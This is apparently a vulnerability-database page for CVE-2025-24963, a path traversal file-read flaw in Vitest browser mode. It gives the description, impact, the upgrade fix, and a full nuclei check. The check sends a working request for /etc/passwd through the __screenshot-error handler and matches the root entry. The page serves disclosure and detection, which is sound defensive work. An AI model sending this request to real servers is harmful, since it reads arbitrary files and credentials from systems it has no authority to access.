HexBrain

Browse / CVEs / CVE-2025-24963

CVE-2025-24963· CWE-22

Vitest Browser Mode - Local File Read

mediumseverity
5.9CVSS score
2.4%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it

Vitest is a testing framework powered by Vite. The `__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by `browser.api.host- true`, an attacker can send a request to that handler from remote to get the content of arbitrary files.This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system. This code was added by commit `2d62051`. Users explicitly exposing the browser mode server to the network by `browser.api.host- true` may get any files exposed. This issue has been addressed in versions 2.1.9 and 3.0.4. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Impact

Attackers can read arbitrary files from the file system when the browser mode server is exposed to the network, potentially exposing source code, configuration files, and sensitive credentials.

Fix

Upgrade to Vitest version 2.1.9, 3.0.4 or later that addresses the __screenshot-error handler vulnerability.

How to confirm it

Send: GET /__screenshot-error?file=/etc/passwd
Positive when: status_code == 200 and contains(content_type,'image/png') and regex('root:.*:0:0:', body)

Run it with nuclei: nuclei -id CVE-2025-24963 -u <target>

The full check
id: CVE-2025-24963

info:
  name: Vitest Browser Mode - Local File Read
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: |
    Vitest is a testing framework powered by Vite. The `__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by `browser.api.host- true`, an attacker can send a request to that handler from remote to get the content of arbitrary files.This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system. This code was added by commit `2d62051`. Users explicitly exposing the browser mode server to the network by `browser.api.host- true` may get any files exposed. This issue has been addressed in versions 2.1.9 and 3.0.4. Users are advised to upgrade. There are no known workarounds for this vulnerability.
  impact: |
    Attackers can read arbitrary files from the file system when the browser mode server is exposed to the network, potentially exposing source code, configuration files, and sensitive credentials.
  remediation: |
    Upgrade to Vitest version 2.1.9, 3.0.4 or later that addresses the __screenshot-error handler vulnerability.
  reference:
    - https://github.com/advisories/GHSA-8gvc-j273-4wm5
    - https://github.com/vitest-dev/vitest/blob/f17918a79969d27a415f70431e08a9445b051e45/packages/browser/src/node/plugin.ts#L88-L130
    - https://github.com/vitest-dev/vitest/commit/2d62051f13b4b0939b2f7e94e88006d830dc4d1f
    - https://github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5
    - https://vitest.dev/guide/browser/config.html#browser-api
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24963
  classification:
    epss-score: 0.02403
    epss-percentile: 0.84186
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.9
    cve-id: CVE-2025-24963
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,vitest,browser,mode,lfi,vuln,vkev

http:
  - raw:
      - |
        GET /__screenshot-error?file=/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type,'image/png')"
          - "regex('root:.*:0:0:', body)"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from